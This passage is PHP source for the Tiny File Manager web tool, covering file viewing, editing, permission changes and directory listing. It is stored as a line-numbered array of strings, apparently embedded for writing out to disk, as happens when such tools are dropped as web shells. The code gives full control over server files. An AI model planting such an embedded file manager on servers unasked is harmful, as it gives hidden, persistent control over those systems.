{", 1755 => " if (FM_USE_HIGHLIGHTJS) {", 1756 => " // highlight", 1757 => " \$hljs_classes = array(", 1758 => " 'shtml' => 'xml',", 1759 => " 'htaccess' => 'apache',", 1760 => " 'phtml' => 'php',", 1761 => " 'lock' => 'json',", 1762 => " 'svg' => 'xml',", 1763 => " );", 1764 => " \$hljs_class = isset(\$hljs_classes[\$ext]) ? 'lang-' . \$hljs_classes[\$ext] : 'lang-' . \$ext;", 1765 => " if (empty(\$ext) || in_array(strtolower(\$file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)\$#i', \$file)) {", 1766 => " \$hljs_class = 'nohighlight';", 1767 => " }", 1768 => " \$content = '<pre class=\"with-hljs\"><code class=\"' . \$hljs_class . '\">' . fm_enc(\$content) . '</code></pre>';", 1769 => " } elseif (in_array(\$ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {", 1770 => " // php highlight", 1771 => " \$content = highlight_string(\$content, true);", 1772 => " } else {", 1773 => " \$content = '<pre>' . fm_enc(\$content) . '</pre>';", 1774 => " }", 1775 => " echo \$content;", 1776 => " }", 1777 => " ?>", 1778 => " </div>", 1779 => " </div>", 1780 => " <?php", 1781 => " if(!\$quickView) {", 1782 => " fm_show_footer();", 1783 => " }", 1784 => " exit;", 1785 => "}", 1786 => "", 1787 => "// file editor", 1788 => "if (isset(\$_GET['edit'])) {", 1789 => " \$file = \$_GET['edit'];", 1790 => " \$file = fm_clean_path(\$file, false);", 1791 => " \$file = str_replace('/', '', \$file);", 1792 => " if (\$file == '' || !is_file(\$path . '/' . \$file)) {", 1793 => " fm_set_msg(lng('File not found'), 'error');", 1794 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1795 => " }", 1796 => " \$editFile = ' : <i><b>'. \$file. '</b></i>';", 1797 => " header('X-XSS-Protection:0');", 1798 => " fm_show_header(); // HEADER", 1799 => " fm_show_nav_path(FM_PATH); // current path", 1800 => "", 1801 => " \$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file);", 1802 => " \$file_path = \$path . '/' . \$file;", 1803 => "", 1804 => " // normal editer", 1805 => " \$isNormalEditor = true;", 1806 => " if (isset(\$_GET['env'])) {", 1807 => " if (\$_GET['env'] == \"ace\") {", 1808 => " \$isNormalEditor = false;", 1809 => " }", 1810 => " }", 1811 => "", 1812 => " // Save File", 1813 => " if (isset(\$_POST['savedata'])) {", 1814 => " \$writedata = \$_POST['savedata'];", 1815 => " \$fd = fopen(\$file_path, \"w\");", 1816 => " @fwrite(\$fd, \$writedata);", 1817 => " fclose(\$fd);", 1818 => " fm_set_msg(lng('File Saved Successfully'));", 1819 => " }", 1820 => "", 1821 => " \$ext = strtolower(pathinfo(\$file_path, PATHINFO_EXTENSION));", 1822 => " \$mime_type = fm_get_mime_type(\$file_path);", 1823 => " \$filesize = filesize(\$file_path);", 1824 => " \$is_text = false;", 1825 => " \$content = ''; // for text", 1826 => "", 1827 => " if (in_array(\$ext, fm_get_text_exts()) || substr(\$mime_type, 0, 4) == 'text' || in_array(\$mime_type, fm_get_text_mimes())) {", 1828 => " \$is_text = true;", 1829 => " \$content = file_get_contents(\$file_path);", 1830 => " }", 1831 => "", 1832 => " ?>", 1833 => " <div class=\"path\">", 1834 => " <div class=\"row\">", 1835 => " <div class=\"col-xs-12 col-sm-5 col-lg-6 pt-1\">", 1836 => " <div class=\"btn-toolbar\" role=\"toolbar\">", 1837 => " <?php if (!\$isNormalEditor) { ?>", 1838 => " <div class=\"btn-group js-ace-toolbar\">", 1839 => " <button data-cmd=\"none\" data-option=\"fullscreen\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-fullscreen\" title=\"Fullscreen\"><i class=\"fa fa-expand\" title=\"Fullscreen\"></i></button>", 1840 => " <button data-cmd=\"find\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-search\" title=\"Search\"><i class=\"fa fa-search\" title=\"Search\"></i></button>", 1841 => " <button data-cmd=\"undo\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-undo\" title=\"Undo\"><i class=\"fa fa-undo\" title=\"Undo\"></i></button>", 1842 => " <button data-cmd=\"redo\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-redo\" title=\"Redo\"><i class=\"fa fa-repeat\" title=\"Redo\"></i></button>", 1843 => " <button data-cmd=\"none\" data-option=\"wrap\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-wordWrap\" title=\"Word Wrap\"><i class=\"fa fa-text-width\" title=\"Word Wrap\"></i></button>", 1844 => " <button data-cmd=\"none\" data-option=\"help\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-goLine\" title=\"Help\"><i class=\"fa fa-question\" title=\"Help\"></i></button>", 1845 => " <select id=\"js-ace-mode\" data-type=\"mode\" title=\"Select Document Type\" class=\"btn-outline-secondary border-left-0 d-none d-md-block\"><option>-- Select Mode --</option></select>", 1846 => " <select id=\"js-ace-theme\" data-type=\"theme\" title=\"Select Theme\" class=\"btn-outline-secondary border-left-0 d-none d-lg-block\"><option>-- Select Theme --</option></select>", 1847 => " <select id=\"js-ace-fontSize\" data-type=\"fontSize\" title=\"Select Font Size\" class=\"btn-outline-secondary border-left-0 d-none d-lg-block\"><option>-- Select Font Size --</option></select>", 1848 => " </div>", 1849 => " <?php } ?>", 1850 => " </div>", 1851 => " </div>", 1852 => " <div class=\"edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1\">", 1853 => " <a title=\"<?php echo lng('Back') ?>\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-reply-all\"></i> <?php echo lng('Back') ?></a>", 1854 => " <a title=\"<?php echo lng('BackUp') ?>\" class=\"btn btn-sm btn-outline-primary\" href=\"javascript:void(0);\" onclick=\"backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode(\$file) ?>')\"><i class=\"fa fa-database\"></i> <?php echo lng('BackUp') ?></a>", 1855 => " <?php if (\$is_text) { ?>", 1856 => " <?php if (\$isNormalEditor) { ?>", 1857 => " <a title=\"Advanced\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode(\$file) ?>&env=ace\"><i class=\"fa fa-pencil-square-o\"></i> <?php echo lng('AdvancedEditor') ?></a>", 1858 => " <button type=\"button\" class=\"btn btn-sm btn-outline-primary\" name=\"Save\" data-url=\"<?php echo fm_enc(\$file_url) ?>\" onclick=\"edit_save(this,'nrl')\"><i class=\"fa fa-floppy-o\"></i> Save", 1859 => " </button>", 1860 => " <?php } else { ?>", 1861 => " <a title=\"Plain Editor\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-text-height\"></i> <?php echo lng('NormalEditor') ?></a>", 1862 => " <button type=\"button\" class=\"btn btn-sm btn-outline-primary\" name=\"Save\" data-url=\"<?php echo fm_enc(\$file_url) ?>\" onclick=\"edit_save(this,'ace')\"><i class=\"fa fa-floppy-o\"></i> <?php echo lng('Save') ?>", 1863 => " </button>", 1864 => " <?php } ?>", 1865 => " <?php } ?>", 1866 => " </div>", 1867 => " </div>", 1868 => " <?php", 1869 => " if (\$is_text && \$isNormalEditor) {", 1870 => " echo '<textarea class=\"mt-2\" id=\"normal-editor\" rows=\"33\" cols=\"120\" style=\"width: 99.5%;\">' . htmlspecialchars(\$content) . '</textarea>';", 1871 => " } elseif (\$is_text) {", 1872 => " echo '<div id=\"editor\" contenteditable=\"true\">' . htmlspecialchars(\$content) . '</div>';", 1873 => " } else {", 1874 => " fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');", 1875 => " }", 1876 => " ?>", 1877 => " </div>", 1878 => " <?php", 1879 => " fm_show_footer();", 1880 => " exit;", 1881 => "}", 1882 => "", 1883 => "// chmod (not for Windows)", 1884 => "if (isset(\$_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {", 1885 => " \$file = \$_GET['chmod'];", 1886 => " \$file = fm_clean_path(\$file);", 1887 => " \$file = str_replace('/', '', \$file);", 1888 => " if (\$file == '' || (!is_file(\$path . '/' . \$file) && !is_dir(\$path . '/' . \$file))) {", 1889 => " fm_set_msg(lng('File not found'), 'error');", 1890 => " fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1891 => " }", 1892 => "", 1893 => " fm_show_header(); // HEADER", 1894 => " fm_show_nav_path(FM_PATH); // current path", 1895 => "", 1896 => " \$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file;", 1897 => " \$file_path = \$path . '/' . \$file;", 1898 => "", 1899 => " \$mode = fileperms(\$path . '/' . \$file);", 1900 => "", 1901 => " ?>", 1902 => " <div class=\"path\">", 1903 => " <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1904 => " <h6 class=\"card-header\">", 1905 => " <?php echo lng('ChangePermissions') ?>", 1906 => " </h6>", 1907 => " <div class=\"card-body\">", 1908 => " <p class=\"card-text\">", 1909 => " Full path: <?php echo \$file_path ?><br>", 1910 => " </p>", 1911 => " <form action=\"\" method=\"post\">", 1912 => " <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1913 => " <input type=\"hidden\" name=\"chmod\" value=\"<?php echo fm_enc(\$file) ?>\">", 1914 => "", 1915 => " <table class=\"table compact-table <?php echo fm_get_theme(); ?>\">", 1916 => " <tr>", 1917 => " <td></td>", 1918 => " <td><b><?php echo lng('Owner') ?></b></td>", 1919 => " <td><b><?php echo lng('Group') ?></b></td>", 1920 => " <td><b><?php echo lng('Other') ?></b></td>", 1921 => " </tr>", 1922 => " <tr>", 1923 => " <td style=\"text-align: right\"><b><?php echo lng('Read') ?></b></td>", 1924 => " <td><label><input type=\"checkbox\" name=\"ur\" value=\"1\"<?php echo (\$mode & 00400) ? ' checked' : '' ?>></label></td>", 1925 => " <td><label><input type=\"checkbox\" name=\"gr\" value=\"1\"<?php echo (\$mode & 00040) ? ' checked' : '' ?>></label></td>", 1926 => " <td><label><input type=\"checkbox\" name=\"or\" value=\"1\"<?php echo (\$mode & 00004) ? ' checked' : '' ?>></label></td>", 1927 => " </tr>", 1928 => " <tr>", 1929 => " <td style=\"text-align: right\"><b><?php echo lng('Write') ?></b></td>", 1930 => " <td><label><input type=\"checkbox\" name=\"uw\" value=\"1\"<?php echo (\$mode & 00200) ? ' checked' : '' ?>></label></td>", 1931 => " <td><label><input type=\"checkbox\" name=\"gw\" value=\"1\"<?php echo (\$mode & 00020) ? ' checked' : '' ?>></label></td>", 1932 => " <td><label><input type=\"checkbox\" name=\"ow\" value=\"1\"<?php echo (\$mode & 00002) ? ' checked' : '' ?>></label></td>", 1933 => " </tr>", 1934 => " <tr>", 1935 => " <td style=\"text-align: right\"><b><?php echo lng('Execute') ?></b></td>", 1936 => " <td><label><input type=\"checkbox\" name=\"ux\" value=\"1\"<?php echo (\$mode & 00100) ? ' checked' : '' ?>></label></td>", 1937 => " <td><label><input type=\"checkbox\" name=\"gx\" value=\"1\"<?php echo (\$mode & 00010) ? ' checked' : '' ?>></label></td>", 1938 => " <td><label><input type=\"checkbox\" name=\"ox\" value=\"1\"<?php echo (\$mode & 00001) ? ' checked' : '' ?>></label></td>", 1939 => " </tr>", 1940 => " </table>", 1941 => "", 1942 => " <p>", 1943 => " <button type=\"submit\" class=\"btn btn-success\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('Change') ?></button> ", 1944 => " <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\" class=\"btn btn-outline-primary\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></a></b>", 1945 => " </p>", 1946 => " </form>", 1947 => " </div>", 1948 => " </div>", 1949 => " </div>", 1950 => " <?php", 1951 => " fm_show_footer();", 1952 => " exit;", 1953 => "}", 1954 => "", 1955 => "//--- FILEMANAGER MAIN", 1956 => "fm_show_header(); // HEADER", 1957 => "fm_show_nav_path(FM_PATH); // current path", 1958 => "", 1959 => "// messages", 1960 => "fm_show_message();", 1961 => "", 1962 => "\$num_files = count(\$files);", 1963 => "\$num_folders = count(\$folders);", 1964 => "\$all_files_size = 0;", 1965 => "\$tableTheme = (FM_THEME == \"dark\") ? \"text-white bg-dark table-dark\" : \"bg-white\";", 1966 => "?>", 1967 => "<form action=\"\" method=\"post\" class=\"pt-3\">", 1968 => " <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1969 => " <input type=\"hidden\" name=\"group\" value=\"1\">", 1970 => " <div class=\"table-responsive\">", 1971 => " <table class=\"table table-bordered table-hover table-sm <?php echo \$tableTheme; ?>\" id=\"main-table\">", 1972 => " <thead class=\"thead-white\">", 1973 => " <tr>", 1974 => " <?php if (!FM_READONLY): ?>", 1975 => " <th style=\"width:3%\" class=\"custom-checkbox-header\">", 1976 => " <div class=\"custom-control custom-checkbox\">", 1977 => " <input type=\"checkbox\" class=\"custom-control-input\" id=\"js-select-all-items\" onclick=\"checkbox_toggle()\">", 1978 => " <label class=\"custom-control-label\" for=\"js-select-all-items\"></label>", 1979 => " </div>", 1980 => " </th><?php endif; ?>", 1981 => " <th><?php echo lng('Name') ?></th>", 1982 => " <th><?php echo lng('Size') ?></th>", 1983 => " <th><?php echo lng('Modified') ?></th>", 1984 => " <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 1985 => " <th><?php echo lng('Perms') ?></th>", 1986 => " <th><?php echo lng('Owner') ?></th><?php endif; ?>", 1987 => " <th><?php echo lng('Actions') ?></th>", 1988 => " </tr>", 1989 => " </thead>", 1990 => " <?php", 1991 => " // link to parent folder", 1992 => " if (\$parent !== false) {", 1993 => " ?>", 1994 => " <tr><?php if (!FM_READONLY): ?>", 1995 => " <td class=\"nosort\"></td><?php endif; ?>", 1996 => " <td class=\"border-0\" data-sort><a href=\"?p=<?php echo urlencode(\$parent) ?>\"><i class=\"fa fa-chevron-circle-left go-back\"></i> ..</a></td>", 1997 => " <td class=\"border-0\" data-order></td>", 1998 => " <td class=\"border-0\" data-order></td>", 1999 => " <td class=\"border-0\"></td>", 2000 => " <?php if (!FM_IS_WIN && !\$hide_Cols) { ?>", 2001 => " <td class=\"border-0\"></td>", 2002 => " <td class=\"border-0\"></td>", 2003 => " <?php } ?>", 2004 => " </tr>", 2005 => " <?php", 2006 => " }", 2007 => " \$ii = 3399;", 2008 => " foreach (\$folders as \$f) {", 2009 => " \$is_link = is_link(\$path . '/' . \$f);", 2010 => " \$img = \$is_link ? 'icon-link_folder' : 'fa fa-folder-o';", 2011 => " \$modif_raw = filemtime(\$path . '/' . \$f);", 2012 => " \$modif = date(FM_DATETIME_FORMAT, \$modif_raw);", 2013 => " if (\$calc_folder) {", 2014 => " \$filesize_raw = fm_get_directorysize(\$path . '/' . \$f);", 2015 => " \$filesize = fm_get_filesize(\$filesize_raw);", 2016 => " }", 2017 => " else {", 2018 => " \$filesize_raw = \"\";", 2019 => " \$filesize = lng('Folder');", 2020 => " }", 2021 => " \$perms = substr(decoct(fileperms(\$path . '/' . \$f)), -4);", 2022 => " if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {", 2023 => " \$owner = posix_getpwuid(fileowner(\$path . '/' . \$f));", 2024 => " \$group = posix_getgrgid(filegroup(\$path . '/' . \$f));", 2025 => " } else {", 2026 => " \$owner = array('name' => '?');", 2027 => " \$group = array('name' => '?');", 2028 => " }", 2029 => " ?>", 2030 => " <tr>", 2031 => " <?php if (!FM_READONLY): ?>", 2032 => " <td class=\"custom-checkbox-td\">", 2033 => " <div class=\"custom-control custom-checkbox\">", 2034 => " <input type=\"checkbox\" class=\"custom-control-input\" id=\"<?php echo \$ii ?>\" name=\"file[]\" value=\"<?php echo fm_enc(\$f) ?>\">", 2035 => " <label class=\"custom-control-label\" for=\"<?php echo \$ii ?>\"></label>", 2036 => " </div>", 2037 => " </td><?php endif; ?>", 2038 => " <td data-sort=<?php echo fm_convert_win(fm_enc(\$f)) ?>>", 2039 => " <div class=\"filename\"><a href=\"?p=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"<?php echo \$img ?>\"></i> <?php echo fm_convert_win(fm_enc(\$f)) ?>", 2040 => " </a><?php echo(\$is_link ? ' → <i>' . readlink(\$path . '/' . \$f) . '</i>' : '') ?></div>", 2041 => " </td>", 2042 => " <td data-order=\"a-<?php echo str_pad(\$filesize_raw, 18, \"0\", STR_PAD_LEFT);?>\">", 2043 => " <?php echo \$filesize; ?>", 2044 => " </td>", 2045 => " <td data-order=\"a-<?php echo \$modif_raw;?>\"><?php echo \$modif ?></td>", 2046 => " <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 2047 => " <td><?php if (!FM_READONLY): ?><a title=\"Change Permissions\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode(\$f) ?>\"><?php echo \$perms ?></a><?php else: ?><?php echo \$perms ?><?php endif; ?>", 2048 => " </td>", 2049 => " <td><?php echo \$owner['name'] . ':' . \$group['name'] ?></td>", 2050 => " <?php endif; ?>", 2051 => " <td class=\"inline-actions\"><?php if (!FM_READONLY): ?>", 2052 => " <a title=\"<?php echo lng('Delete')?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode(\$f) ?>\" onclick=\"return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\\n \\n ( <?php echo urlencode(\$f) ?> )');\"> <i class=\"fa fa-trash-o\" aria-hidden=\"true\"></i></a>", 2053 => " <a title=\"<?php echo lng('Rename')?>\" href=\"#\" onclick=\"rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes(\$f)) ?>');return false;\"><i class=\"fa fa-pencil-square-o\" aria-hidden=\"true\"></i></a>", 2054 => " <a title=\"<?php echo lng('CopyTo')?>...\" href=\"?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"fa fa-files-o\" aria-hidden=\"true\"></i></a>", 2055 => " <?php endif; ?>", 2056 => " <a title=\"<?php echo lng('DirectLink')?>\" href=\"<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f . '/') ?>\" target=\"_blank\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>", 2057 => " </td>", 2058 => " </tr>", 2059 => " <?php", 2060 => " flush();", 2061 => " \$ii++;", 2062 => " }", 2063 => " \$ik = 6070;", 2064 => " foreach (\$files as \$f) {", 2065 => " \$is_link = is_link(\$path . '/' . \$f);", 2066 => " \$img = \$is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class(\$path . '/' . \$f);", 2067 => " \$modif_raw = filemtime(\$path . '/' . \$f);", 2068 => " \$modif = date(FM_DATETIME_FORMAT, \$modif_raw);", 2069 => " \$filesize_raw = fm_get_size(\$path . '/' . \$f);", 2070 => " \$filesize = fm_get_filesize(\$filesize_raw);", 2071 => " \$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode(\$f);", 2072 => " \$all_files_size += \$filesize_raw;", 2073 => " \$perms = substr(decoct(fileperms(\$path . '/' . \$f)), -4);", 2074 => " if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {", 2075 => " \$owner = posix_getpwuid(fileowner(\$path . '/' . \$f));", 2076 => " \$group = posix_getgrgid(filegroup(\$path . '/' . \$f));", 2077 => " } else {", 2078 => " \$owner = array('name' => '?');", 2079 => " \$group = array('name' => '?');", 2080 => " }", 2081 => " ?>", 2082 => " <tr>", 2083 => " <?php if (!FM_READONLY): ?>", 2084 => " <td class=\"custom-checkbox-td\">", 2085 => " <div class=\"custom-control custom-checkbox\">", 2086 => " <input type=\"checkbox\" class=\"custom-control-input\" id=\"<?php echo \$ik ?>\" name=\"file[]\" value=\"<?php echo fm_enc(\$f) ?>\">", 2087 => " <label class=\"custom-control-label\" for=\"<?php echo \$ik ?>\"></label>", 2088 => " </div>", 2089 => " </td><?php endif; ?>", 2090 => " <td data-sort=<?php echo fm_enc(\$f) ?>>", 2091 => " <div class=\"filename\">", 2092 => " <?php", 2093 => " if (in_array(strtolower(pathinfo(\$f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>", 2094 => " <?php \$imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f); ?>", 2095 => " <a href=\"<?php echo \$filelink ?>\" data-preview-image=\"<?php echo \$imagePreview ?>\" title=\"<?php echo fm_enc(\$f) ?>\">", 2096 => " <?php else: ?>", 2097 => " <a href=\"<?php echo \$filelink ?>\" title=\"<?php echo \$f ?>\">", 2098 => " <?php endif; ?>", 2099 => " <i class=\"<?php echo \$img ?>\"></i> <?php echo fm_convert_win(fm_enc(\$f)) ?>", 2100 => " </a>", 2101 => " <?php echo(\$is_link ? ' → <i>' . readlink(\$path . '/' . \$f) . '</i>' : '') ?>", 2102 => " </div>", 2103 => " </td>", 2104 => " <td data-order=\"b-<?php echo str_pad(\$filesize_raw, 18, \"0\", STR_PAD_LEFT); ?>\"><span title=\"<?php printf('%s bytes', \$filesize_raw) ?>\">", 2105 => " <?php echo \$filesize; ?>", 2106 => " </span></td>", 2107 => " <td data-order=\"b-<?php echo \$modif_raw;?>\"><?php echo \$modif ?></td>", 2108 => " <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 2109 => " <td><?php if (!FM_READONLY): ?><a title=\"<?php echo 'Change Permissions' ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode(\$f) ?>\"><?php echo \$perms ?></a><?php else: ?><?php echo \$perms ?><?php endif; ?>", 2110 => " </td>", 2111 => " <td><?php echo fm_enc(\$owner['name'] . ':' . \$group['name']) ?></td>", 2112 => " <?php endif; ?>", 2113 => " <td class=\"inline-actions\">", 2114 => " <a title=\"<?php echo lng('Preview') ?>\" href=\"<?php echo \$filelink.'&quickView=1'; ?>\" data-toggle=\"lightbox\" data-gallery=\"tiny-gallery\" data-title=\"<?php echo fm_convert_win(fm_enc(\$f)) ?>\" data-max-width=\"100%\" data-width=\"100%\"><i class=\"fa fa-eye\"></i></a>", 2115 => " <?php if (!FM_READONLY): ?>", 2116 => " <a title=\"<?php echo lng('Delete') ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode(\$f) ?>\" onclick=\"return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\\n \\n ( <?php echo urlencode(\$f) ?> )');\"> <i class=\"fa fa-trash-o\"></i></a>", 2117 => " <a title=\"<?php echo lng('Rename') ?>\" href=\"#\" onclick=\"rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes(\$f)) ?>');return false;\"><i class=\"fa fa-pencil-square-o\"></i></a>", 2118 => " <a title=\"<?php echo lng('CopyTo') ?>...\"", 2119 => " href=\"?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"fa fa-files-o\"></i></a>", 2120 => " <?php endif; ?>", 2121 => " <a title=\"<?php echo lng('DirectLink') ?>\" href=\"<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f) ?>\" target=\"_blank\"><i class=\"fa fa-link\"></i></a>", 2122 => " <a title=\"<?php echo lng('Download') ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode(\$f) ?>\"><i class=\"fa fa-download\"></i></a>", 2123 => " </td>", 2124 => " </tr>", 2125 => " <?php", 2126 => " flush();", 2127 => " \$ik++;", 2128 => " }", 2129 => "", 2130 => " if (empty(\$folders) && empty(\$files)) {", 2131 => " ?>", 2132 => " <tfoot>", 2133 => " <tr><?php if (!FM_READONLY): ?>", 2134 => " <td></td><?php endif; ?>", 2135 => " <td colspan=\"<?php echo (!FM_IS_WIN && !\$hide_Cols) ? '6' : '4' ?>\"><em><?php echo lng('Folder is empty') ?></em></td>", 2136 => " </tr>", 2137 => " </tfoot>", 2138 => " <?php", 2139 => " } else {", 2140 => " ?>", 2141 => " <tfoot>", 2142 => " <tr><?php if (!FM_READONLY): ?>", 2143 => " <td class=\"gray\"></td><?php endif; ?>", 2144 => " <td class=\"gray\" colspan=\"<?php echo (!FM_IS_WIN && !\$hide_Cols) ? '6' : '4' ?>\">", 2145 => " <?php echo lng('FullSize').': <span class=\"badge badge-light\">'.fm_get_filesize(\$all_files_size).'</span>' ?>", 2146 => " <?php echo lng('File').': <span class=\"badge badge-light\">'.\$num_files.'</span>' ?>", 2147 => " <?php echo lng('Folder').': <span class=\"badge badge-light\">'.\$num_folders.'</span>' ?>", 2148 => " <?php echo lng('PartitionSize').': <span class=\"badge badge-light\">'.fm_get_filesize(@disk_free_space(\$path)) .'</span> '.lng('FreeOf').' <span class=\"badge badge-light\">'.fm_get_filesize(@disk_total_space(\$path)).'</span>'; ?>", 2149 => " </td>", 2150 => " </tr>", 2151 => " </tfoot>", 2152 => " <?php", 2153 => " }", 2154 => " ?>", 2155 => " </table>", 2156 => " </div>", 2157 => "", 2158 => " <div class=\"row\">", 2159 => " <?php if (!FM_READONLY): ?>", 2160 => " <div class=\"col-xs-12 col-sm-9\">", 2161 => " <ul class=\"list-inline footer-action\">", 2162 => " <li class=\"list-inline-item\"> <a href=\"#/select-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"select_all();return false;\"><i class=\"fa fa-check-square\"></i> <?php echo lng('SelectAll') ?> </a></li>", 2163 => " <li class=\"list-inline-item\"><a href=\"#/unselect-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"unselect_all();return false;\"><i class=\"fa fa-window-close\"></i> <?php echo lng('UnSelectAll') ?> </a></li>", 2164 => " <li class=\"list-inline-item\"><a href=\"#/invert-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"invert_all();return false;\"><i class=\"fa fa-th-list\"></i> <?php echo lng('InvertSelection') ?> </a></li>", 2165 => " <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"delete\" id=\"a-delete\" value=\"Delete\" onclick=\"return confirm('<?php echo lng('Delete selected files and folders?'); ?>')\">", 2166 => " <a href=\"javascript:document.getElementById('a-delete').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-trash\"></i> <?php echo lng('Delete') ?> </a></li>", 2167 => " <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"zip\" id=\"a-zip\" value=\"zip\" onclick=\"return confirm('<?php echo lng('Create archive?'); ?>')\">", 2168 => " <a href=\"javascript:document.getElementById('a-zip').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-file-archive-o\"></i> <?php echo lng('Zip') ?> </a></li>", 2169 => " <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"tar\" id=\"a-tar\" value=\"tar\" onclick=\"return confirm('<?php echo lng('Create archive?'); ?>')\">", 2170 => " <a href=\"javascript:document.getElementById('a-tar').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-file-archive-o\"></i> <?php echo lng('Tar') ?> </a></li>", 2171 => " <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"copy\" id=\"a-copy\" value=\"Copy\">", 2172 => " <a href=\"javascript:document.getElementById('a-copy').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-files-o\"></i> <?php echo lng('Copy') ?> </a></li>", 2173 => " </ul>", 2174 => " </div>", 2175 => " <div class=\"col-3 d-none d-sm-block\"><a href=\"https://tinyfilemanager.github.io\" target=\"_blank\" class=\"float-right text-muted\">Tiny File Manager <?php echo VERSION; ?></a></div>", 2176 => " <?php else: ?>", 2177 => " <div class=\"col-12\"><a href=\"https://tinyfilemanager.github.io\" target=\"_blank\" class=\"float-right text-muted\">Tiny File Manager <?php echo VERSION; ?></a></div>", 2178 => " <?php endif; ?>", 2179 => " </div>", 2180 => "", 2181 => "</form>", 2182 => "", 2183 => "<?php", 2184 => "fm_show_footer();", 2185 => "", 2186 => "//--- END", 2187 => "", 2188 => "// Functions", 2189 => "", 2190 => "/**", 2191 => " * Check if the filename is allowed.", 2192 => " * @param string \$filename", 2193 => " * @return bool", 2194 => " */", 2195 => "function fm_is_file_allowed(\$filename)", 2196 => "{", 2197 => " // By default, no file is allowed", 2198 => " \$allowed = false;", 2199 => "", 2200 => " if (FM_EXTENSION) {", 2201 => " \$ext = strtolower(pathinfo(\$filename, PATHINFO_EXTENSION));", 2202 => "", 2203 => " if (in_array(\$ext, explode(',', strtolower(FM_EXTENSION)))) {", 2204 => " \$allowed = true;", 2205 => " }", 2206 => " }", 2207 => "", 2208 => " return \$allowed;", 2209 => "}", 2210 => "", 2211 => "/**", 2212 => " * Delete file or folder (recursively)", 2213 => " * @param string \$path", 2214 => " * @return bool", 2215 => " */", 2216 => "function fm_rdelete(\$path)", 2217 => "{", 2218 => " if (is_link(\$path)) {", 2219 => " return unlink(\$path);", 2220 => " } elseif (is_dir(\$path)) {", 2221 => " \$objects = scandir(\$path);", 2222 => " \$ok = true;", 2223 => " if (is_array(\$objects)) {", 2224 => " foreach (\$objects as \$file) {", 2225 => " if (\$file != '.' && \$file != '..') {", 2226 => " if (!fm_rdelete(\$path . '/' . \$file)) {", 2227 => " 